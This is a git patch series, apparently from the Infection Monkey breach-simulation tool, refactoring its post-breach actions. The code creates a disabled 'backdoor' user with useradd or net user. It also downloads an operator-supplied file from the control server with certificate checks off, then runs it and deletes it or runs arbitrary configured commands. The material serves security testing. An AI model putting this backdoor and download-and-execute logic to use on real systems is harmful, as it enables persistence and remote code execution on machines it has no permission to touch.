From 67f8ef4a0a3d658e0aeb887eef1e92c0eb0d3510 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 8 May 2019 16:29:04 +0300
Subject: [PATCH 01/10] Post breach refactored to support PBA's from list

---
 monkey/infection_monkey/config.py             |  4 -
 monkey/infection_monkey/monkey.py             |  5 +-
 .../infection_monkey/post_breach/__init__.py  |  3 -
 .../post_breach/actions/__init__.py           |  7 ++
 .../post_breach/actions/add_user.py           | 25 ++++++
 .../post_breach/actions/users_custom_pba.py   | 89 +++++++++++++++++++
 .../infection_monkey/post_breach/add_user.py  | 52 -----------
 .../post_breach/file_execution.py             | 68 --------------
 monkey/infection_monkey/post_breach/pba.py    | 75 ++++++++--------
 .../post_breach/post_breach_handler.py        | 74 +++++----------
 10 files changed, 180 insertions(+), 222 deletions(-)
 create mode 100644 monkey/infection_monkey/post_breach/actions/__init__.py
 create mode 100644 monkey/infection_monkey/post_breach/actions/add_user.py
 create mode 100644 monkey/infection_monkey/post_breach/actions/users_custom_pba.py
 delete mode 100644 monkey/infection_monkey/post_breach/add_user.py
 delete mode 100644 monkey/infection_monkey/post_breach/file_execution.py

diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index 0d44cb973..586ff29b8 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -20,7 +20,6 @@ class Configuration(object):
         # now we won't work at <2.7 for sure
         network_import = importlib.import_module('infection_monkey.network')
         exploit_import = importlib.import_module('infection_monkey.exploit')
-        post_breach_import = importlib.import_module('infection_monkey.post_breach')
 
         unknown_items = []
         for key, value in formatted_data.items():
@@ -37,9 +36,6 @@ class Configuration(object):
             elif key == 'exploiter_classes':
                 class_objects = [getattr(exploit_import, val) for val in value]
                 setattr(self, key, class_objects)
-            elif key == 'post_breach_actions':
-                class_objects = [getattr(post_breach_import, val) for val in value]
-                setattr(self, key, class_objects)
             else:
                 if hasattr(self, key):
                     setattr(self, key, value)
diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py
index df7bcf820..5753af0e2 100644
--- a/monkey/infection_monkey/monkey.py
+++ b/monkey/infection_monkey/monkey.py
@@ -115,10 +115,7 @@ class InfectionMonkey(object):
             system_info = system_info_collector.get_info()
             ControlClient.send_telemetry("system_info_collection", system_info)
 
-        for action_class in WormConfiguration.post_breach_actions:
-            action = action_class()
-            action.act()
-
+        # Executes post breach actions
         PostBreach().execute()
 
         if 0 == WormConfiguration.depth:
diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py
index 2bd5547b4..3a692dc66 100644
--- a/monkey/infection_monkey/post_breach/__init__.py
+++ b/monkey/infection_monkey/post_breach/__init__.py
@@ -1,4 +1 @@
 __author__ = 'danielg'
-
-
-from add_user import BackdoorUser
diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py
new file mode 100644
index 000000000..9bcbe4a2a
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/__init__.py
@@ -0,0 +1,7 @@
+from os.path import dirname, basename, isfile, join
+import glob
+
+
+def get_pba_files():
+    files = glob.glob(join(dirname(__file__), "*.py"))
+    return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
new file mode 100644
index 000000000..274c2065a
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -0,0 +1,25 @@
+import datetime
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.config import WormConfiguration
+
+
+__author__ = 'danielg'
+
+LINUX_COMMANDS = ['useradd', '-M', '--expiredate',
+                  datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
+                  WormConfiguration.user_to_add]
+
+WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
+                    WormConfiguration.remote_user_pass,
+                    '/add', '/ACTIVE:NO']
+
+PBA_NAME = "Backdoor user"
+
+
+class BackdoorUser(object):
+    def __init__(self):
+        pass
+
+    @staticmethod
+    def get_pba():
+        return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
new file mode 100644
index 000000000..1ca9be72a
--- /dev/null
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -0,0 +1,89 @@
+import requests
+import os
+import logging
+
+from infection_monkey.utils import is_windows_os
+from infection_monkey.post_breach.pba import PBA
+from infection_monkey.control import ControlClient
+from infection_monkey.config import WormConfiguration
+from infection_monkey.utils import get_monkey_dir_path
+
+LOG = logging.getLogger(__name__)
+
+__author__ = 'VakarisZ'
+
+# Default commands for executing PBA file and then removing it
+DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
+DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
+
+DIR_CHANGE_WINDOWS = 'cd %s & '
+DIR_CHANGE_LINUX = 'cd %s ; '
+
+
+class UsersPBA(PBA):
+    """
+    Defines user's configured post breach action.
+    """
+    def __init__(self, command="", filename=""):
+        self.filename = filename
+        super(UsersPBA, self).__init__("File execution", command)
+
+    def _execute_default(self):
+        UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename)
+        return super(UsersPBA, self)._execute_default()
+
+    @staticmethod
+    def download_pba_file(dst_dir, filename):
+        """
+        Handles post breach action file download
+        :param dst_dir: Destination directory
+        :param filename: Filename
+        :return: True if successful, false otherwise
+        """
+
+        pba_file_contents = requests.get("https://%s/api/pba/download/%s" %
+                                         (WormConfiguration.current_server, filename),
+                                         verify=False,
+                                         proxies=ControlClient.proxies)
+        try:
+            with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
+                written_PBA_file.write(pba_file_contents.content)
+            return True
+        except IOError as e:
+            LOG.error("Can not download post breach file to target machine, because %s" % e)
+            return False
+
+    @staticmethod
+    def get_pba():
+        """
+        Creates post breach actions depending on users input into 'custom post breach' config section
+        :return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
+        """
+        command_pba_name = "Custom command"
+
+        if not is_windows_os():
+            # Add linux commands to PBA's
+            if WormConfiguration.PBA_linux_filename:
+                if WormConfiguration.custom_PBA_linux_cmd:
+                    # Add change dir command, because user will try to access his file
+                    command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd
+                    return UsersPBA(command, WormConfiguration.PBA_linux_filename)
+                else:
+                    file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename)
+                    command = DEFAULT_LINUX_COMMAND.format(file_path)
+                    return UsersPBA(command, WormConfiguration.PBA_linux_filename)
+            elif WormConfiguration.custom_PBA_linux_cmd:
+                return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_linux_cmd)
+        else:
+            # Add windows commands to PBA's
+            if WormConfiguration.PBA_windows_filename:
+                if WormConfiguration.custom_PBA_windows_cmd:
+                    # Add change dir command, because user will try to access his file
+                    command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd
+                    return UsersPBA(command, WormConfiguration.PBA_windows_filename)
+                else:
+                    file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename)
+                    command = DEFAULT_WINDOWS_COMMAND.format(file_path)
+                    return UsersPBA(command, WormConfiguration.PBA_windows_filename)
+            elif WormConfiguration.custom_PBA_windows_cmd:
+                return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_windows_cmd)
diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py
deleted file mode 100644
index 94aa210e4..000000000
--- a/monkey/infection_monkey/post_breach/add_user.py
+++ /dev/null
@@ -1,52 +0,0 @@
-import datetime
-import logging
-import subprocess
-import sys
-from infection_monkey.config import WormConfiguration
-
-LOG = logging.getLogger(__name__)
-
-# Linux doesn't have WindowsError
-try:
-    WindowsError
-except NameError:
-    WindowsError = None
-
-__author__ = 'danielg'
-
-
-class BackdoorUser(object):
-    """
-    This module adds a disabled user to the system.
-    This tests part of the ATT&CK matrix
-    """
-
-    def act(self):
-        LOG.info("Adding a user")
-        try:
-            if sys.platform.startswith("win"):
-                retval = self.add_user_windows()
-            else:
-                retval = self.add_user_linux()
-            if retval != 0:
-                LOG.warn("Failed to add a user")
-            else:
-                LOG.info("Done adding user")
-        except OSError:
-            LOG.exception("Exception while adding a user")
-
-    @staticmethod
-    def add_user_linux():
-        cmd_line = ['useradd', '-M', '--expiredate',
-                    datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER',
-                    WormConfiguration.user_to_add]
-        retval = subprocess.call(cmd_line)
-        return retval
-
-    @staticmethod
-    def add_user_windows():
-        cmd_line = ['net', 'user', WormConfiguration.user_to_add,
-                    WormConfiguration.remote_user_pass,
-                    '/add', '/ACTIVE:NO']
-        retval = subprocess.call(cmd_line)
-        return retval
diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py
deleted file mode 100644
index 5f52a29a6..000000000
--- a/monkey/infection_monkey/post_breach/file_execution.py
+++ /dev/null
@@ -1,68 +0,0 @@
-from infection_monkey.post_breach.pba import PBA
-from infection_monkey.control import ControlClient
-from infection_monkey.config import WormConfiguration
-from infection_monkey.utils import get_monkey_dir_path
-import requests
-import os
-import logging
-
-LOG = logging.getLogger(__name__)
-
-__author__ = 'VakarisZ'
-
-# Default commands for executing PBA file and then removing it
-DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
-DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
-
-
-class FileExecution(PBA):
-    """
-    Defines user's file execution post breach action.
-    """
-    def __init__(self, linux_command="", windows_command=""):
-        self.linux_filename = WormConfiguration.PBA_linux_filename
-        self.windows_filename = WormConfiguration.PBA_windows_filename
-        super(FileExecution, self).__init__("File execution", linux_command, windows_command)
-
-    def _execute_linux(self):
-        FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
-        return super(FileExecution, self)._execute_linux()
-
-    def _execute_win(self):
-        FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
-        return super(FileExecution, self)._execute_win()
-
-    def add_default_command(self, is_linux):
-        """
-        Replaces current (likely empty) command with default file execution command (that changes permissions, executes
-        and finally deletes post breach file).
-        Default commands are defined as globals in this module.
-        :param is_linux: Boolean that indicates for which OS the command is being set.
-        """
-        if is_linux:
-            file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
-            self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
-        else:
-            file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
-            self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
-
-    @staticmethod
-    def download_PBA_file(dst_dir, filename):
-        """
-        Handles post breach action file download
-        :param dst_dir: Destination directory
-        :param filename: Filename
-        :return: True if successful, false otherwise
-        """
-
-        PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
-                                         (WormConfiguration.current_server, filename),
-                                         verify=False,
-                                         proxies=ControlClient.proxies)
-        try:
-            with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
-                written_PBA_file.write(PBA_file_contents.content)
-            return True
-        except IOError as e:
-            LOG.error("Can not download post breach file to target machine, because %s" % e)
-            return False
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 09fe613b3..230d8e74f 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,7 +1,10 @@
 import logging
-from infection_monkey.control import ControlClient
 import subprocess
 import socket
+from infection_monkey.control import ControlClient
+from infection_monkey.utils import is_windows_os
+from infection_monkey.config import WormConfiguration
+
 
 LOG = logging.getLogger(__name__)
 
@@ -12,57 +15,55 @@ class PBA(object):
     """
     Post breach action object. Can be extended to support more than command execution on target machine.
     """
-    def __init__(self, name="unknown", linux_command="", windows_command=""):
+    def __init__(self, name="unknown", command=""):
         """
         :param name: Name of post breach action.
-        :param linux_command: Command that will be executed on linux machine
-        :param windows_command: Command that will be executed on windows machine
+        :param command: Command that will be executed on breached machine
         """
-        self.linux_command = linux_command
-        self.windows_command = windows_command
+        self.command = command
         self.name = name
 
-    def run(self, is_linux):
+    @staticmethod
+    def get_pba():
         """
-        Runs post breach action command
-        :param is_linux: boolean that indicates on which os monkey is running
+        Should be overridden by all child classes.
+        This method returns a PBA object based on worm's configuration.
+        :return: An array of PBA objects.
         """
-        if is_linux:
-            command = self.linux_command
-            exec_funct = self._execute_linux
-        else:
-            command = self.windows_command
-            exec_funct = self._execute_win
-        if command:
-            hostname = socket.gethostname()
-            ControlClient.send_telemetry('post_breach', {'command': command,
-                                                         'result': exec_funct(),
-                                                         'name': self.name,
-                                                         'hostname': hostname,
-                                                         'ip': socket.gethostbyname(hostname)
-                                                         })
-
-    def _execute_linux(self):
-        """
-        Default linux PBA execution function. Override it if additional functionality is needed
-        """
-        return self._execute_default(self.linux_command)
-
-    def _execute_win(self):
-        """
-        Default linux PBA execution function. Override it if additional functionality is needed
-        """
-        return self._execute_default(self.windows_command)
+        raise NotImplementedError()
 
     @staticmethod
-    def _execute_default(command):
+    def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""):
+        if pba_class.__name__ in WormConfiguration.post_breach_actions:
+            command = PBA.choose_command(linux_cmd, windows_cmd)
+            if command:
+                return PBA(name, command)
+
+    def run(self):
+        """
+        Runs post breach action command
+        """
+        exec_funct = self._execute_default
+        hostname = socket.gethostname()
+        ControlClient.send_telemetry('post_breach', {'command': self.command,
+                                                     'result': exec_funct(),
+                                                     'name': self.name,
+                                                     'hostname': hostname,
+                                                     'ip': socket.gethostbyname(hostname)
+                                                     })
+
+    def _execute_default(self):
         """
         Default post breach command execution routine
         :param command: What command to execute
         :return: Tuple of command's output string and boolean, indicating if it succeeded
         """
         try:
-            return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
+            return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True
         except subprocess.CalledProcessError as e:
             # Return error output of the command
             return e.output, False
+
+    @staticmethod
+    def choose_command(linux_cmd, windows_cmd):
+        return windows_cmd if is_windows_os() else linux_cmd
diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index ff24ebbbb..9dafa8f45 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -1,16 +1,14 @@
 import logging
-import infection_monkey.config
-from file_execution import FileExecution
-from pba import PBA
+import inspect
+import importlib
+from infection_monkey.post_breach.actions import get_pba_files
 from infection_monkey.utils import is_windows_os
-from infection_monkey.utils import get_monkey_dir_path
 
 LOG = logging.getLogger(__name__)
 
 __author__ = 'VakarisZ'
 
-DIR_CHANGE_WINDOWS = 'cd %s & '
-DIR_CHANGE_LINUX = 'cd %s ; '
+PATH_TO_ACTIONS = "infection_monkey.post_breach.actions."
 
 
 class PostBreach(object):
@@ -19,65 +17,33 @@ class PostBreach(object):
     """
     def __init__(self):
         self.os_is_linux = not is_windows_os()
-        self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
+        self.pba_list = self.config_to_pba_list()
 
     def execute(self):
         """
         Executes all post breach actions.
         """
         for pba in self.pba_list:
-            pba.run(self.os_is_linux)
+            pba.run()
         LOG.info("Post breach actions executed")
 
     @staticmethod
-    def config_to_pba_list(config):
+    def config_to_pba_list():
         """
-        Returns a list of PBA objects generated from config.
-        :param config: Monkey configuration
+        Passes config to each post breach action class and aggregates results into a list.
         :return: A list of PBA objects.
         """
         pba_list = []
-        pba_list.extend(PostBreach.get_custom_PBA(config))
-
+        pba_files = get_pba_files()
+        # Go through all of files in ./actions
+        for pba_file in pba_files:
+            # Import module from that file
+            module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
+            # Get all classes in a module
+            pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) if m[1].__module__ == module.__name__]
+            # Get post breach action object from class
+            for pba_class in pba_classes:
+                pba = pba_class.get_pba()
+                if pba:
+                    pba_list.append(pba)
         return pba_list
-
-    @staticmethod
-    def get_custom_PBA(config):
-        """
-        Creates post breach actions depending on users input into 'custom post breach' config section
-        :param config: monkey's configuration
-        :return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
-        """
-        custom_list = []
-        file_pba = FileExecution()
-        command_pba = PBA(name="Custom")
-
-        if not is_windows_os():
-            # Add linux commands to PBA's
-            if config.PBA_linux_filename:
-                if config.custom_PBA_linux_cmd:
-                    # Add change dir command, because user will try to access his file
-                    file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
-                else:
-                    file_pba.add_default_command(is_linux=True)
-            elif config.custom_PBA_linux_cmd:
-                command_pba.linux_command = config.custom_PBA_linux_cmd
-        else:
-            # Add windows commands to PBA's
-            if config.PBA_windows_filename:
-                if config.custom_PBA_windows_cmd:
-                    # Add change dir command, because user will try to access his file
-                    file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
-                                               config.custom_PBA_windows_cmd
-                else:
-                    file_pba.add_default_command(is_linux=False)
-            elif config.custom_PBA_windows_cmd:
-                command_pba.windows_command = config.custom_PBA_windows_cmd
-
-        # Add PBA's to list
-        if file_pba.linux_command or file_pba.windows_command:
-            custom_list.append(file_pba)
-        if command_pba.windows_command or command_pba.linux_command:
-            custom_list.append(command_pba)
-
-        return custom_list

From bff95fa4701d53bd904e07afbfb0120c238b8a26 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 8 May 2019 17:08:48 +0300
Subject: [PATCH 02/10] Comments fixed

---
 .../post_breach/actions/__init__.py              |  4 ++++
 monkey/infection_monkey/post_breach/pba.py       | 16 +++++++++++++++-
 2 files changed, 19 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py
index 9bcbe4a2a..17007f1e6 100644
--- a/monkey/infection_monkey/post_breach/actions/__init__.py
+++ b/monkey/infection_monkey/post_breach/actions/__init__.py
@@ -3,5 +3,9 @@ import glob
 
 
 def get_pba_files():
+    """
+    Gets all files under current directory(/actions)
+    :return: list of all files without .py ending
+    """
     files = glob.glob(join(dirname(__file__), "*.py"))
     return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')]
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index 230d8e74f..fa1f57c98 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -34,6 +34,15 @@ class PBA(object):
 
     @staticmethod
     def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""):
+        """
+        Default get_pba() method implementation
+        :param name: PBA name
+        :param pba_class: class instance. Class's name is matched to config to determine
+        if corresponding field was enabled in post breach array or not.
+        :param linux_cmd: commands for linux
+        :param windows_cmd: commands for windows
+        :return: post breach action
+        """
         if pba_class.__name__ in WormConfiguration.post_breach_actions:
             command = PBA.choose_command(linux_cmd, windows_cmd)
             if command:
@@ -55,7 +64,6 @@ class PBA(object):
     def _execute_default(self):
         """
         Default post breach command execution routine
-        :param command: What command to execute
         :return: Tuple of command's output string and boolean, indicating if it succeeded
         """
         try:
@@ -66,4 +74,10 @@ class PBA(object):
 
     @staticmethod
     def choose_command(linux_cmd, windows_cmd):
+        """
+        Helper method that chooses between linux and windows commands.
+        :param linux_cmd:
+        :param windows_cmd:
+        :return: Command for current os
+        """
         return windows_cmd if is_windows_os() else linux_cmd

From 4a8bd01a62048fb6851670bed81ae471d3463466 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 14 May 2019 10:41:38 +0300
Subject: [PATCH 03/10] Minor changes after CR

---
 monkey/infection_monkey/post_breach/actions/add_user.py     | 6 +++---
 .../post_breach/actions/users_custom_pba.py                 | 5 ++++-
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py
index 274c2065a..68fb46983 100644
--- a/monkey/infection_monkey/post_breach/actions/add_user.py
+++ b/monkey/infection_monkey/post_breach/actions/add_user.py
@@ -13,13 +13,13 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add,
                     WormConfiguration.remote_user_pass,
                     '/add', '/ACTIVE:NO']
 
-PBA_NAME = "Backdoor user"
-
 
 class BackdoorUser(object):
+    PBA_NAME = "Backdoor user"
+
     def __init__(self):
         pass
 
     @staticmethod
     def get_pba():
-        return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
+        return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS)
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index 1ca9be72a..f8ec48c7e 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -45,12 +45,15 @@ class UsersPBA(PBA):
                                          (WormConfiguration.current_server, filename),
                                          verify=False,
                                          proxies=ControlClient.proxies)
+        if not pba_file_contents.content:
+            LOG.error("Island didn't respond with post breach file.")
+            return False
         try:
             with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
                 written_PBA_file.write(pba_file_contents.content)
             return True
         except IOError as e:
-            LOG.error("Can not download post breach file to target machine, because %s" % e)
+            LOG.error("Can not upload post breach file to target machine: %s" % e)
             return False
 
     @staticmethod

From 002447e749dc239355aa3bb36348308f25ed8e81 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Thu, 16 May 2019 12:57:15 +0300
Subject: [PATCH 04/10] Allows to implement helper classes in pba files

---
 monkey/infection_monkey/post_breach/post_breach_handler.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py
index 9dafa8f45..65b11276c 100644
--- a/monkey/infection_monkey/post_breach/post_breach_handler.py
+++ b/monkey/infection_monkey/post_breach/post_breach_handler.py
@@ -40,7 +40,8 @@ class PostBreach(object):
             # Import module from that file
             module = importlib.import_module(PATH_TO_ACTIONS + pba_file)
             # Get all classes in a module
-            pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) if m[1].__module__ == module.__name__]
+            pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass)
+                           if ((m[1].__module__ == module.__name__) and getattr(m[1], "get_pba", False))]
             # Get post breach action object from class
             for pba_class in pba_classes:
                 pba = pba_class.get_pba()

From fe236ebc0598340d8a2532f28bfb269c0b491eb0 Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Wed, 22 May 2019 17:09:09 +0300
Subject: [PATCH 05/10] Minor readability changes in config service

---
 monkey/infection_monkey/monkey.spec                         | 2 +-
 .../hook-infection_monkey.post_breach.actions.py            | 6 ++++++
 2 files changed, 7 insertions(+), 1 deletion(-)
 create mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py

diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec
index a7f0f0396..d29adddb1 100644
--- a/monkey/infection_monkey/monkey.spec
+++ b/monkey/infection_monkey/monkey.spec
@@ -15,7 +15,7 @@ def main():
     a = Analysis(['main.py'],
                  pathex=['..'],
                  hiddenimports=get_hidden_imports(),
-                 hookspath=None,
+                 hookspath=['./pyinstaller_hooks'],
                  runtime_hooks=None,
                  binaries=None,
                  datas=None,
diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
new file mode 100644
index 000000000..51a0fca4a
--- /dev/null
+++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py
@@ -0,0 +1,6 @@
+from PyInstaller.utils.hooks import collect_submodules, collect_data_files
+
+# Import all actions as modules
+hiddenimports = collect_submodules('infection_monkey.post_breach.actions')
+# Add action files that we enumerate
+datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True))

From f4a47f3cb32f1a0cddd1d9c35c636ff32fba286e Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Mon, 27 May 2019 09:49:40 +0300
Subject: [PATCH 06/10] Request exception handling

---
 .../post_breach/actions/users_custom_pba.py          | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index f8ec48c7e..f92035a57 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -41,10 +41,14 @@ class UsersPBA(PBA):
         :return: True if successful, false otherwise
         """
 
-        pba_file_contents = requests.get("https://%s/api/pba/download/%s" %
-                                         (WormConfiguration.current_server, filename),
-                                         verify=False,
-                                         proxies=ControlClient.proxies)
+        try:
+            pba_file_contents = requests.get("https://%s/api/pba/download/%s" %
+                                             (WormConfiguration.current_server, filename),
+                                             verify=False,
+                                             proxies=ControlClient.proxies)
+        except requests.exceptions.RequestException:
+            return False
+        
         if not pba_file_contents.content:
             LOG.error("Island didn't respond with post breach file.")
             return False

From c4e384205cefb095bc08bc3ad8811fab1d1c374c Mon Sep 17 00:00:00 2001
From: VakarisZ <vakarisz@yahoo.com>
Date: Tue, 28 May 2019 14:14:35 +0300
Subject: [PATCH 07/10] PR fixes

---
 monkey/infection_monkey/control.py                   | 12 ++++++++++++
 .../post_breach/actions/users_custom_pba.py          | 12 +++---------
 monkey/infection_monkey/post_breach/pba.py           | 11 ++++-------
 .../src/components/report-components/PostBreach.js   |  4 ++--
 4 files changed, 21 insertions(+), 18 deletions(-)

diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index 98ad55671..088cdd7b3 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -23,6 +23,8 @@ DOWNLOAD_CHUNK = 1024
 # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere.
 TIMEOUT = 15
 
+PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s"
+
 
 class ControlClient(object):
     proxies = {}
@@ -306,3 +308,13 @@ class ControlClient(object):
             target_addr, target_port = None, None
 
         return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)
+
+    @staticmethod
+    def get_pba_file(filename):
+        try:
+            return requests.get(PBA_FILE_DOWNLOAD %
+                                (WormConfiguration.current_server, filename),
+                                verify=False,
+                                proxies=ControlClient.proxies)
+        except requests.exceptions.RequestException:
+            return False
diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
index f92035a57..a13064cb4 100644
--- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
+++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py
@@ -41,15 +41,9 @@ class UsersPBA(PBA):
         :return: True if successful, false otherwise
         """
 
-        try:
-            pba_file_contents = requests.get("https://%s/api/pba/download/%s" %
-                                             (WormConfiguration.current_server, filename),
-                                             verify=False,
-                                             proxies=ControlClient.proxies)
-        except requests.exceptions.RequestException:
-            return False
-        
-        if not pba_file_contents.content:
+        pba_file_contents = ControlClient.get_pba_file(filename)
+
+        if not pba_file_contents or not pba_file_contents.content:
             LOG.error("Island didn't respond with post breach file.")
             return False
         try:
diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py
index fa1f57c98..12de8c760 100644
--- a/monkey/infection_monkey/post_breach/pba.py
+++ b/monkey/infection_monkey/post_breach/pba.py
@@ -1,9 +1,8 @@
 import logging
 import subprocess
-import socket
 from infection_monkey.control import ControlClient
 from infection_monkey.utils import is_windows_os
-from infection_monkey.config import WormConfiguration
+from infection_monkey.config import WormConfiguration, GUID
 
 
 LOG = logging.getLogger(__name__)
@@ -53,13 +52,11 @@ class PBA(object):
         Runs post breach action command
         """
         exec_funct = self._execute_default
-        hostname = socket.gethostname()
+        result = exec_funct()
         ControlClient.send_telemetry('post_breach', {'command': self.command,
-                                                     'result': exec_funct(),
+                                                     'result': result,
                                                      'name': self.name,
-                                                     'hostname': hostname,
-                                                     'ip': socket.gethostbyname(hostname)
-                                                     })
+                                                     'guid': GUID})
 
     def _execute_default(self):
         """
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
index 763b35de8..aacdc8845 100644
--- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
+++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js
@@ -2,7 +2,7 @@ import React from 'react';
 import ReactTable from 'react-table'
 
 let renderArray = function(val) {
-  return <span>{val.map(x => <span> {x}</span>)}</span>;
